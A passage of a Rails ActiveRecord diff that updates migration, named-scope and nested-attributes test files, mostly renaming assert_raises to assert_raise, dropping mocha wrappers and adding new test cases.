@@ -547,7 +569,7 @@ if ActiveRecord::Base.connection.supports_migrations?
else
ActiveRecord::ActiveRecordError
end
- assert_raises(exception) do
+ assert_raise(exception) do
Person.connection.rename_column "hats", "nonexistent", "should_fail"
end
ensure
@@ -797,7 +819,7 @@ if ActiveRecord::Base.connection.supports_migrations?
assert_equal "hello world", Reminder.find(:first).content
WeNeedReminders.down
- assert_raises(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
+ assert_raise(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
end
def test_add_table_with_decimals
@@ -858,7 +880,7 @@ if ActiveRecord::Base.connection.supports_migrations?
end
GiveMeBigNumbers.down
- assert_raises(ActiveRecord::StatementInvalid) { BigNumber.find(:first) }
+ assert_raise(ActiveRecord::StatementInvalid) { BigNumber.find(:first) }
end
def test_migrator
@@ -878,7 +900,7 @@ if ActiveRecord::Base.connection.supports_migrations?
assert_equal 0, ActiveRecord::Migrator.current_version
Person.reset_column_information
assert !Person.column_methods_hash.include?(:last_name)
- assert_raises(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
+ assert_raise(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
end
def test_migrator_one_up
@@ -930,11 +952,11 @@ if ActiveRecord::Base.connection.supports_migrations?
assert_equal(0, ActiveRecord::Migrator.current_version)
end
- if current_adapter?(:PostgreSQLAdapter)
+ if ActiveRecord::Base.connection.supports_ddl_transactions?
def test_migrator_one_up_with_exception_and_rollback
assert !Person.column_methods_hash.include?(:last_name)
- e = assert_raises(StandardError) do
+ e = assert_raise(StandardError) do
ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/broken", 100)
end
@@ -947,20 +969,20 @@ if ActiveRecord::Base.connection.supports_migrations?
def test_finds_migrations
migrations = ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/valid").migrations
- [['1', 'people_have_last_names'],
- ['2', 'we_need_reminders'],
- ['3', 'innocent_jointable']].each_with_index do |pair, i|
- migrations[i].version == pair.first
- migrations[1].name == pair.last
+
+ [[1, 'PeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
+ assert_equal migrations[i].version, pair.first
+ assert_equal migrations[i].name, pair.last
end
end
def test_finds_pending_migrations
ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/interleaved/pass_2", 1)
migrations = ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/interleaved/pass_2").pending_migrations
+
assert_equal 1, migrations.size
- migrations[0].version == '3'
- migrations[0].name == 'innocent_jointable'
+ assert_equal migrations[0].version, 3
+ assert_equal migrations[0].name, 'InnocentJointable'
end
def test_only_loads_pending_migrations
@@ -1109,7 +1131,7 @@ if ActiveRecord::Base.connection.supports_migrations?
assert_equal "hello world", Reminder.find(:first).content
WeNeedReminders.down
- assert_raises(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
+ assert_raise(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
ensure
ActiveRecord::Base.table_name_prefix = ''
ActiveRecord::Base.table_name_suffix = ''
@@ -1139,13 +1161,13 @@ if ActiveRecord::Base.connection.supports_migrations?
end
def test_migrator_with_duplicates
- assert_raises(ActiveRecord::DuplicateMigrationVersionError) do
+ assert_raise(ActiveRecord::DuplicateMigrationVersionError) do
ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/duplicate", nil)
end
end
def test_migrator_with_duplicate_names
- assert_raises(ActiveRecord::DuplicateMigrationNameError, "Multiple migrations have the name Chunky") do
+ assert_raise(ActiveRecord::DuplicateMigrationNameError, "Multiple migrations have the name Chunky") do
ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/duplicate_names", nil)
end
end
@@ -1161,7 +1183,7 @@ if ActiveRecord::Base.connection.supports_migrations?
# table name is 29 chars, the standard sequence name will
# be 33 chars and fail
- assert_raises(ActiveRecord::StatementInvalid) do
+ assert_raise(ActiveRecord::StatementInvalid) do
begin
Person.connection.create_table :table_with_name_thats_just_ok do |t|
t.column :foo, :string, :null => false
@@ -1188,7 +1210,7 @@ if ActiveRecord::Base.connection.supports_migrations?
end
# confirm the custom sequence got dropped
- assert_raises(ActiveRecord::StatementInvalid) do
+ assert_raise(ActiveRecord::StatementInvalid) do
Person.connection.execute("select suitably_short_seq.nextval from dual")
end
end
@@ -1203,277 +1225,271 @@ if ActiveRecord::Base.connection.supports_migrations?
end
- uses_mocha 'Sexy migration tests' do
- class SexyMigrationsTest < ActiveRecord::TestCase
- def test_references_column_type_adds_id
- with_new_table do |t|
- t.expects(:column).with('customer_id', :integer, {})
- t.references :customer
- end
+ class SexyMigrationsTest < ActiveRecord::TestCase
+ def test_references_column_type_adds_id
+ with_new_table do |t|
+ t.expects(:column).with('customer_id', :integer, {})
+ t.references :customer
end
+ end
- def test_references_column_type_with_polymorphic_adds_type
- with_new_table do |t|
- t.expects(:column).with('taggable_type', :string, {})
- t.expects(:column).with('taggable_id', :integer, {})
- t.references :taggable, :polymorphic => true
- end
+ def test_references_column_type_with_polymorphic_adds_type
+ with_new_table do |t|
+ t.expects(:column).with('taggable_type', :string, {})
+ t.expects(:column).with('taggable_id', :integer, {})
+ t.references :taggable, :polymorphic => true
end
+ end
- def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
- with_new_table do |t|
- t.expects(:column).with('taggable_type', :string, {:null => false})
- t.expects(:column).with('taggable_id', :integer, {:null => false})
- t.references :taggable, :polymorphic => true, :null => false
- end
+ def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
+ with_new_table do |t|
+ t.expects(:column).with('taggable_type', :string, {:null => false})
+ t.expects(:column).with('taggable_id', :integer, {:null => false})
+ t.references :taggable, :polymorphic => true, :null => false
end
+ end
- def test_belongs_to_works_like_references
- with_new_table do |t|
- t.expects(:column).with('customer_id', :integer, {})
- t.belongs_to :customer
- end
+ def test_belongs_to_works_like_references
+ with_new_table do |t|
+ t.expects(:column).with('customer_id', :integer, {})
+ t.belongs_to :customer
end
+ end
- def test_timestamps_creates_updated_at_and_created_at
- with_new_table do |t|
- t.expects(:column).with(:created_at, :datetime, kind_of(Hash))
- t.expects(:column).with(:updated_at, :datetime, kind_of(Hash))
- t.timestamps
- end
+ def test_timestamps_creates_updated_at_and_created_at
+ with_new_table do |t|
+ t.expects(:column).with(:created_at, :datetime, kind_of(Hash))
+ t.expects(:column).with(:updated_at, :datetime, kind_of(Hash))
+ t.timestamps
end
+ end
- def test_integer_creates_integer_column
- with_new_table do |t|
- t.expects(:column).with(:foo, 'integer', {})
- t.expects(:column).with(:bar, 'integer', {})
- t.integer :foo, :bar
- end
+ def test_integer_creates_integer_column
+ with_new_table do |t|
+ t.expects(:column).with(:foo, 'integer', {})
+ t.expects(:column).with(:bar, 'integer', {})
+ t.integer :foo, :bar
end
+ end
- def test_string_creates_string_column
- with_new_table do |t|
- t.expects(:column).with(:foo, 'string', {})
- t.expects(:column).with(:bar, 'string', {})
- t.string :foo, :bar
- end
+ def test_string_creates_string_column
+ with_new_table do |t|
+ t.expects(:column).with(:foo, 'string', {})
+ t.expects(:column).with(:bar, 'string', {})
+ t.string :foo, :bar
end
+ end
- protected
- def with_new_table
- Person.connection.create_table :delete_me, :force => true do |t|
- yield t
- end
- ensure
- Person.connection.drop_table :delete_me rescue nil
+ protected
+ def with_new_table
+ Person.connection.create_table :delete_me, :force => true do |t|
+ yield t
end
+ ensure
+ Person.connection.drop_table :delete_me rescue nil
+ end
- end # SexyMigrationsTest
- end # uses_mocha
+ end # SexyMigrationsTest
- uses_mocha 'ChangeTable migration tests' do
- class ChangeTableMigrationsTest < ActiveRecord::TestCase
- def setup
- @connection = Person.connection
- @connection.create_table :delete_me, :force => true do |t|
- end
+ class ChangeTableMigrationsTest < ActiveRecord::TestCase
+ def setup
+ @connection = Person.connection
+ @connection.create_table :delete_me, :force => true do |t|
end
+ end
- def teardown
- Person.connection.drop_table :delete_me rescue nil
- end
+ def teardown
+ Person.connection.drop_table :delete_me rescue nil
+ end
- def test_references_column_type_adds_id
- with_change_table do |t|
- @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
- t.references :customer
- end
+ def test_references_column_type_adds_id
+ with_change_table do |t|
+ @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
+ t.references :customer
end
+ end
- def test_remove_references_column_type_removes_id
- with_change_table do |t|
- @connection.expects(:remove_column).with(:delete_me, 'customer_id')
- t.remove_references :customer
- end
+ def test_remove_references_column_type_removes_id
+ with_change_table do |t|
+ @connection.expects(:remove_column).with(:delete_me, 'customer_id')
+ t.remove_references :customer
end
+ end
- def test_add_belongs_to_works_like_add_references
- with_change_table do |t|
- @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
- t.belongs_to :customer
- end
+ def test_add_belongs_to_works_like_add_references
+ with_change_table do |t|
+ @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
+ t.belongs_to :customer
end
+ end
- def test_remove_belongs_to_works_like_remove_references
- with_change_table do |t|
- @connection.expects(:remove_column).with(:delete_me, 'customer_id')
- t.remove_belongs_to :customer
- end
+ def test_remove_belongs_to_works_like_remove_references
+ with_change_table do |t|
+ @connection.expects(:remove_column).with(:delete_me, 'customer_id')
+ t.remove_belongs_to :customer
end
+ end
- def test_references_column_type_with_polymorphic_adds_type
- with_change_table do |t|
- @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {})
- @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {})
- t.references :taggable, :polymorphic => true
- end
+ def test_references_column_type_with_polymorphic_adds_type
+ with_change_table do |t|
+ @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {})
+ @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {})
+ t.references :taggable, :polymorphic => true
end
+ end
- def test_remove_references_column_type_with_polymorphic_removes_type
- with_change_table do |t|
- @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
- @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
- t.remove_references :taggable, :polymorphic => true
- end
+ def test_remove_references_column_type_with_polymorphic_removes_type
+ with_change_table do |t|
+ @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
+ @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
+ t.remove_references :taggable, :polymorphic => true
end
+ end
- def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
- with_change_table do |t|
- @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {:null => false})
- @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {:null => false})
- t.references :taggable, :polymorphic => true, :null => false
- end
+ def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
+ with_change_table do |t|
+ @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {:null => false})
+ @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {:null => false})
+ t.references :taggable, :polymorphic => true, :null => false
end
+ end
- def test_remove_references_column_type_with_polymorphic_and_options_null_is_false_removes_table_flag
- with_change_table do |t|
- @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
- @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
- t.remove_references :taggable, :polymorphic => true, :null => false
- end
+ def test_remove_references_column_type_with_polymorphic_and_options_null_is_false_removes_table_flag
+ with_change_table do |t|
+ @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
+ @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
+ t.remove_references :taggable, :polymorphic => true, :null => false
end
+ end
- def test_timestamps_creates_updated_at_and_created_at
- with_change_table do |t|
- @connection.expects(:add_timestamps).with(:delete_me)
- t.timestamps
- end
+ def test_timestamps_creates_updated_at_and_created_at
+ with_change_table do |t|
+ @connection.expects(:add_timestamps).with(:delete_me)
+ t.timestamps
end
+ end
- def test_remove_timestamps_creates_updated_at_and_created_at
- with_change_table do |t|
- @connection.expects(:remove_timestamps).with(:delete_me)
- t.remove_timestamps
- end
+ def test_remove_timestamps_creates_updated_at_and_created_at
+ with_change_table do |t|
+ @connection.expects(:remove_timestamps).with(:delete_me)
+ t.remove_timestamps
end
+ end
- def string_column
- if current_adapter?(:PostgreSQLAdapter)
- "character varying(255)"
- else
- 'varchar(255)'
- end
+ def string_column
+ if current_adapter?(:PostgreSQLAdapter)
+ "character varying(255)"
+ else
+ 'varchar(255)'
end
+ end
- def integer_column
- if current_adapter?(:MysqlAdapter)
- 'int(11)'
- else
- 'integer'
- end
+ def integer_column
+ if current_adapter?(:MysqlAdapter)
+ 'int(11)'
+ else
+ 'integer'
end
+ end
- def test_integer_creates_integer_column
- with_change_table do |t|
- @connection.expects(:add_column).with(:delete_me, :foo, integer_column, {})
- @connection.expects(:add_column).with(:delete_me, :bar, integer_column, {})
- t.integer :foo, :bar
- end
+ def test_integer_creates_integer_column
+ with_change_table do |t|
+ @connection.expects(:add_column).with(:delete_me, :foo, integer_column, {})
+ @connection.expects(:add_column).with(:delete_me, :bar, integer_column, {})
+ t.integer :foo, :bar
end
+ end
- def test_string_creates_string_column
- with_change_table do |t|
- @connection.expects(:add_column).with(:delete_me, :foo, string_column, {})
- @connection.expects(:add_column).with(:delete_me, :bar, string_column, {})
- t.string :foo, :bar
- end
+ def test_string_creates_string_column
+ with_change_table do |t|
+ @connection.expects(:add_column).with(:delete_me, :foo, string_column, {})
+ @connection.expects(:add_column).with(:delete_me, :bar, string_column, {})
+ t.string :foo, :bar
end
+ end
- def test_column_creates_column
- with_change_table do |t|
- @connection.expects(:add_column).with(:delete_me, :bar, :integer, {})
- t.column :bar, :integer
- end
+ def test_column_creates_column
+ with_change_table do |t|
+ @connection.expects(:add_column).with(:delete_me, :bar, :integer, {})
+ t.column :bar, :integer
end
+ end
- def test_column_creates_column_with_options
- with_change_table do |t|
- @connection.expects(:add_column).with(:delete_me, :bar, :integer, {:null => false})
- t.column :bar, :integer, :null => false
- end
+ def test_column_creates_column_with_options
+ with_change_table do |t|
+ @connection.expects(:add_column).with(:delete_me, :bar, :integer, {:null => false})
+ t.column :bar, :integer, :null => false
end
+ end
- def test_index_creates_index
- with_change_table do |t|
- @connection.expects(:add_index).with(:delete_me, :bar, {})
- t.index :bar
- end
+ def test_index_creates_index
+ with_change_table do |t|
+ @connection.expects(:add_index).with(:delete_me, :bar, {})
+ t.index :bar
end
+ end
- def test_index_creates_index_with_options
- with_change_table do |t|
- @connection.expects(:add_index).with(:delete_me, :bar, {:unique => true})
- t.index :bar, :unique => true
- end
+ def test_index_creates_index_with_options
+ with_change_table do |t|
+ @connection.expects(:add_index).with(:delete_me, :bar, {:unique => true})
+ t.index :bar, :unique => true
end
+ end
- def test_change_changes_column
- with_change_table do |t|
- @connection.expects(:change_column).with(:delete_me, :bar, :string, {})
- t.change :bar, :string
- end
+ def test_change_changes_column
+ with_change_table do |t|
+ @connection.expects(:change_column).with(:delete_me, :bar, :string, {})
+ t.change :bar, :string
end
+ end
- def test_change_changes_column_with_options
- with_change_table do |t|
- @connection.expects(:change_column).with(:delete_me, :bar, :string, {:null => true})
- t.change :bar, :string, :null => true
- end
+ def test_change_changes_column_with_options
+ with_change_table do |t|
+ @connection.expects(:change_column).with(:delete_me, :bar, :string, {:null => true})
+ t.change :bar, :string, :null => true
end
+ end
- def test_change_default_changes_column
- with_change_table do |t|
- @connection.expects(:change_column_default).with(:delete_me, :bar, :string)
- t.change_default :bar, :string
- end
+ def test_change_default_changes_column
+ with_change_table do |t|
+ @connection.expects(:change_column_default).with(:delete_me, :bar, :string)
+ t.change_default :bar, :string
end
+ end
- def test_remove_drops_single_column
- with_change_table do |t|
- @connection.expects(:remove_column).with(:delete_me, [:bar])
- t.remove :bar
- end
+ def test_remove_drops_single_column
+ with_change_table do |t|
+ @connection.expects(:remove_column).with(:delete_me, [:bar])
+ t.remove :bar
end
+ end
- def test_remove_drops_multiple_columns
- with_change_table do |t|
- @connection.expects(:remove_column).with(:delete_me, [:bar, :baz])
- t.remove :bar, :baz
- end
+ def test_remove_drops_multiple_columns
+ with_change_table do |t|
+ @connection.expects(:remove_column).with(:delete_me, [:bar, :baz])
+ t.remove :bar, :baz
end
+ end
- def test_remove_index_removes_index_with_options
- with_change_table do |t|
- @connection.expects(:remove_index).with(:delete_me, {:unique => true})
- t.remove_index :unique => true
- end
+ def test_remove_index_removes_index_with_options
+ with_change_table do |t|
+ @connection.expects(:remove_index).with(:delete_me, {:unique => true})
+ t.remove_index :unique => true
end
+ end
- def test_rename_renames_column
- with_change_table do |t|
- @connection.expects(:rename_column).with(:delete_me, :bar, :baz)
- t.rename :bar, :baz
- end
+ def test_rename_renames_column
+ with_change_table do |t|
+ @connection.expects(:rename_column).with(:delete_me, :bar, :baz)
+ t.rename :bar, :baz
end
+ end
- protected
- def with_change_table
- Person.connection.change_table :delete_me do |t|
- yield t
- end
+ protected
+ def with_change_table
+ Person.connection.change_table :delete_me do |t|
+ yield t
end
-
- end # ChangeTable test
- end # uses_mocha
-
+ end
+ end
end
diff --git a/activerecord/test/cases/named_scope_test.rb b/activerecord/test/cases/named_scope_test.rb
index e1e27fa130..ae6a54a5bd 100644
--- a/activerecord/test/cases/named_scope_test.rb
+++ b/activerecord/test/cases/named_scope_test.rb
@@ -15,7 +15,7 @@ class NamedScopeTest < ActiveRecord::TestCase
assert_equal Topic.find(:all), Topic.base
assert_equal Topic.find(:all), Topic.base.to_a
assert_equal Topic.find(:first), Topic.base.first
- assert_equal Topic.find(:all), Topic.base.each { |i| i }
+ assert_equal Topic.find(:all), Topic.base.map { |i| i }
end
def test_found_items_are_cached
@@ -99,6 +99,12 @@ class NamedScopeTest < ActiveRecord::TestCase
assert_equal topics_written_before_the_second, Topic.written_before(topics(:second).written_on)
end
+ def test_procedural_scopes_returning_nil
+ all_topics = Topic.find(:all)
+
+ assert_equal all_topics, Topic.written_before(nil)
+ end
+
def test_scopes_with_joins
address = author_addresses(:david_address)
posts_with_authors_at_address = Post.find(
@@ -142,6 +148,15 @@ class NamedScopeTest < ActiveRecord::TestCase
assert_equal authors(:david).comments & Comment.containing_the_letter_e, authors(:david).comments.containing_the_letter_e
end
+ def test_named_scopes_honor_current_scopes_from_when_defined
+ assert !Post.ranked_by_comments.limit(5).empty?
+ assert !authors(:david).posts.ranked_by_comments.limit(5).empty?
+ assert_not_equal Post.ranked_by_comments.limit(5), authors(:david).posts.ranked_by_comments.limit(5)
+ assert_not_equal Post.top(5), authors(:david).posts.top(5)
+ assert_equal authors(:david).posts.ranked_by_comments.limit(5), authors(:david).posts.top(5)
+ assert_equal Post.ranked_by_comments.limit(5), Post.top(5)
+ end
+
def test_active_records_have_scope_named__all__
assert !Topic.find(:all).empty?
@@ -238,7 +253,7 @@ class NamedScopeTest < ActiveRecord::TestCase
topic = Topic.approved.create!({})
assert topic.approved
end
-
+
def test_should_build_with_proxy_options_chained
topic = Topic.approved.by_lifo.build({})
assert topic.approved
@@ -278,15 +293,21 @@ class NamedScopeTest < ActiveRecord::TestCase
assert_equal post.comments.size, Post.scoped(:joins => join).scoped(:joins => join, :conditions => "posts.id = #{post.id}").size
end
- def test_chanining_should_use_latest_conditions_when_creating
- post1 = Topic.rejected.approved.new
- assert post1.approved?
+ def test_chaining_should_use_latest_conditions_when_creating
+ post = Topic.rejected.new
+ assert !post.approved?
+
+ post = Topic.rejected.approved.new
+ assert post.approved?
- post2 = Topic.approved.rejected.new
- assert ! post2.approved?
+ post = Topic.approved.rejected.new
+ assert !post.approved?
+
+ post = Topic.approved.rejected.approved.new
+ assert post.approved?
end
- def test_chanining_should_use_latest_conditions_when_searching
+ def test_chaining_should_use_latest_conditions_when_searching
# Normal hash conditions
assert_equal Topic.all(:conditions => {:approved => true}), Topic.rejected.approved.all
assert_equal Topic.all(:conditions => {:approved => false}), Topic.approved.rejected.all
@@ -297,6 +318,24 @@ class NamedScopeTest < ActiveRecord::TestCase
# Nested hash conditions with different keys
assert_equal [posts(:sti_comments)], Post.with_special_comments.with_post(4).all.uniq
end
+
+ def test_methods_invoked_within_scopes_should_respect_scope
+ assert_equal [], Topic.approved.by_rejected_ids.proxy_options[:conditions][:id]
+ end
+
+ def test_named_scopes_batch_finders
+ assert_equal 3, Topic.approved.count
+
+ assert_queries(4) do
+ Topic.approved.find_each(:batch_size => 1) {|t| assert t.approved? }
+ end
+
+ assert_queries(2) do
+ Topic.approved.find_in_batches(:batch_size => 2) do |group|
+ group.each {|t| assert t.approved? }
+ end
+ end
+ end
end
class DynamicScopeMatchTest < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/nested_attributes_test.rb b/activerecord/test/cases/nested_attributes_test.rb
new file mode 100644
index 0000000000..cd6277c24b
--- /dev/null
+++ b/activerecord/test/cases/nested_attributes_test.rb
@@ -0,0 +1,509 @@
+require "cases/helper"
+require "models/pirate"
+require "models/ship"
+require "models/bird"
+require "models/parrot"
+require "models/treasure"
+
+module AssertRaiseWithMessage
+ def assert_raise_with_message(expected_exception, expected_message)
+ begin
+ error_raised = false
+ yield
+ rescue expected_exception => error
+ error_raised = true
+ actual_message = error.message
+ end
+ assert error_raised
+ assert_equal expected_message, actual_message
+ end
+end
+
+class TestNestedAttributesInGeneral < ActiveRecord::TestCase
+ include AssertRaiseWithMessage
+
+ def teardown
+ Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ end
+
+ def test_base_should_have_an_empty_reject_new_nested_attributes_procs
+ assert_equal Hash.new, ActiveRecord::Base.reject_new_nested_attributes_procs
+ end
+
+ def test_should_add_a_proc_to_reject_new_nested_attributes_procs
+ [:parrots, :birds].each do |name|
+ assert_instance_of Proc, Pirate.reject_new_nested_attributes_procs[name]
+ end
+ end
+
+ def test_should_raise_an_ArgumentError_for_non_existing_associations
+ assert_raise_with_message ArgumentError, "No association found for name `honesty'. Has it been defined yet?" do
+ Pirate.accepts_nested_attributes_for :honesty
+ end
+ end
+
+ def test_should_disable_allow_destroy_by_default
+ Pirate.accepts_nested_attributes_for :ship
+
+ pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ ship = pirate.create_ship(:name => 'Nights Dirty Lightning')
+
+ assert_no_difference('Ship.count') do
+ pirate.update_attributes(:ship_attributes => { '_delete' => true })
+ end
+ end
+
+ def test_a_model_should_respond_to_underscore_delete_and_return_if_it_is_marked_for_destruction
+ ship = Ship.create!(:name => 'Nights Dirty Lightning')
+ assert !ship._delete
+ ship.mark_for_destruction
+ assert ship._delete
+ end
+end
+
+class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
+ def setup
+ @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
+ end
+
+ def test_should_define_an_attribute_writer_method_for_the_association
+ assert_respond_to @pirate, :ship_attributes=
+ end
+
+ def test_should_build_a_new_record_if_there_is_no_id
+ @ship.destroy
+ @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger' }
+
+ assert @pirate.ship.new_record?
+ assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+ end
+
+ def test_should_not_build_a_new_record_if_there_is_no_id_and_delete_is_truthy
+ @ship.destroy
+ @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger', :_delete => '1' }
+
+ assert_nil @pirate.ship
+ end
+
+ def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false
+ @ship.destroy
+ @pirate.reload.ship_attributes = {}
+
+ assert_nil @pirate.ship
+ end
+
+ def test_should_replace_an_existing_record_if_there_is_no_id
+ @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger' }
+
+ assert @pirate.ship.new_record?
+ assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+ assert_equal 'Nights Dirty Lightning', @ship.name
+ end
+
+ def test_should_not_replace_an_existing_record_if_there_is_no_id_and_delete_is_truthy
+ @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger', :_delete => '1' }
+
+ assert_equal @ship, @pirate.ship
+ assert_equal 'Nights Dirty Lightning', @pirate.ship.name
+ end
+
+ def test_should_modify_an_existing_record_if_there_is_a_matching_id
+ @pirate.reload.ship_attributes = { :id => @ship.id, :name => 'Davy Jones Gold Dagger' }
+
+ assert_equal @ship, @pirate.ship
+ assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+ end
+
+ def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
+ @pirate.reload.ship_attributes = { 'id' => @ship.id, 'name' => 'Davy Jones Gold Dagger' }
+
+ assert_equal @ship, @pirate.ship
+ assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+ end
+
+ def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id
+ @ship.stubs(:id).returns('ABC1X')
+ @pirate.ship_attributes = { :id => @ship.id, :name => 'Davy Jones Gold Dagger' }
+
+ assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+ end
+
+ def test_should_delete_an_existing_record_if_there_is_a_matching_id_and_delete_is_truthy
+ @pirate.ship.destroy
+ [1, '1', true, 'true'].each do |truth|
+ @pirate.reload.create_ship(:name => 'Mister Pablo')
+ assert_difference('Ship.count', -1) do
+ @pirate.update_attribute(:ship_attributes, { :id => @pirate.ship.id, :_delete => truth })
+ end
+ end
+ end
+
+ def test_should_not_delete_an_existing_record_if_delete_is_not_truthy
+ [nil, '0', 0, 'false', false].each do |not_truth|
+ assert_no_difference('Ship.count') do
+ @pirate.update_attribute(:ship_attributes, { :id => @pirate.ship.id, :_delete => not_truth })
+ end
+ end
+ end
+
+ def test_should_not_delete_an_existing_record_if_allow_destroy_is_false
+ Pirate.accepts_nested_attributes_for :ship, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? }
+
+ assert_no_difference('Ship.count') do
+ @pirate.update_attribute(:ship_attributes, { :id => @pirate.ship.id, :_delete => '1' })
+ end
+
+ Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ end
+
+ def test_should_also_work_with_a_HashWithIndifferentAccess
+ @pirate.ship_attributes = HashWithIndifferentAccess.new(:id => @ship.id, :name => 'Davy Jones Gold Dagger')
+
+ assert !@pirate.ship.new_record?
+ assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+ end
+
+ def test_should_work_with_update_attributes_as_well
+ @pirate.update_attributes({ :catchphrase => 'Arr', :ship_attributes => { :id => @ship.id, :name => 'Mister Pablo' } })
+ @pirate.reload
+
+ assert_equal 'Arr', @pirate.catchphrase
+ assert_equal 'Mister Pablo', @pirate.ship.name
+ end
+
+ def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
+ assert_no_difference('Ship.count') do
+ @pirate.attributes = { :ship_attributes => { :id => @ship.id, :_delete => '1' } }
+ end
+ assert_difference('Ship.count', -1) do
+ @pirate.save
+ end
+ end
+
+ def test_should_automatically_enable_autosave_on_the_association
+ assert Pirate.reflect_on_association(:ship).options[:autosave]
+ end
+end
+
+class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
+ def setup
+ @ship = Ship.new(:name => 'Nights Dirty Lightning')
+ @pirate = @ship.build_pirate(:catchphrase => 'Aye')
+ @ship.save!
+ end
+
+ def test_should_define_an_attribute_writer_method_for_the_association
+ assert_respond_to @ship, :pirate_attributes=
+ end
+
+ def test_should_build_a_new_record_if_there_is_no_id
+ @pirate.destroy
+ @ship.reload.pirate_attributes = { :catchphrase => 'Arr' }
+
+ assert @ship.pirate.new_record?
+ assert_equal 'Arr', @ship.pirate.catchphrase
+ end
+
+ def test_should_not_build_a_new_record_if_there_is_no_id_and_delete_is_truthy
+ @pirate.destroy
+ @ship.reload.pirate_attributes = { :catchphrase => 'Arr', :_delete => '1' }
+
+ assert_nil @ship.pirate
+ end
+
+ def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false
+ @pirate.destroy
+ @ship.reload.pirate_attributes = {}
+
+ assert_nil @ship.pirate
+ end
+
+ def test_should_replace_an_existing_record_if_there_is_no_id
+ @ship.reload.pirate_attributes = { :catchphrase => 'Arr' }
+
+ assert @ship.pirate.new_record?
+ assert_equal 'Arr', @ship.pirate.catchphrase
+ assert_equal 'Aye', @pirate.catchphrase
+ end
+
+ def test_should_not_replace_an_existing_record_if_there_is_no_id_and_delete_is_truthy
+ @ship.reload.pirate_attributes = { :catchphrase => 'Arr', :_delete => '1' }
+
+ assert_equal @pirate, @ship.pirate
+ assert_equal 'Aye', @ship.pirate.catchphrase
+ end
+
+ def test_should_modify_an_existing_record_if_there_is_a_matching_id
+ @ship.reload.pirate_attributes = { :id => @pirate.id, :catchphrase => 'Arr' }
+
+ assert_equal @pirate, @ship.pirate
+ assert_equal 'Arr', @ship.pirate.catchphrase
+ end
+
+ def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
+ @ship.reload.pirate_attributes = { 'id' => @pirate.id, 'catchphrase' => 'Arr' }
+
+ assert_equal @pirate, @ship.pirate
+ assert_equal 'Arr', @ship.pirate.catchphrase
+ end
+
+ def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id
+ @pirate.stubs(:id).returns('ABC1X')
+ @ship.pirate_attributes = { :id => @pirate.id, :catchphrase => 'Arr' }
+
+ assert_equal 'Arr', @ship.pirate.catchphrase
+ end
+
+ def test_should_delete_an_existing_record_if_there_is_a_matching_id_and_delete_is_truthy
+ @ship.pirate.destroy
+ [1, '1', true, 'true'].each do |truth|
+ @ship.reload.create_pirate(:catchphrase => 'Arr')
+ assert_difference('Pirate.count', -1) do
+ @ship.update_attribute(:pirate_attributes, { :id => @ship.pirate.id, :_delete => truth })
+ end
+ end
+ end
+
+ def test_should_not_delete_an_existing_record_if_delete_is_not_truthy
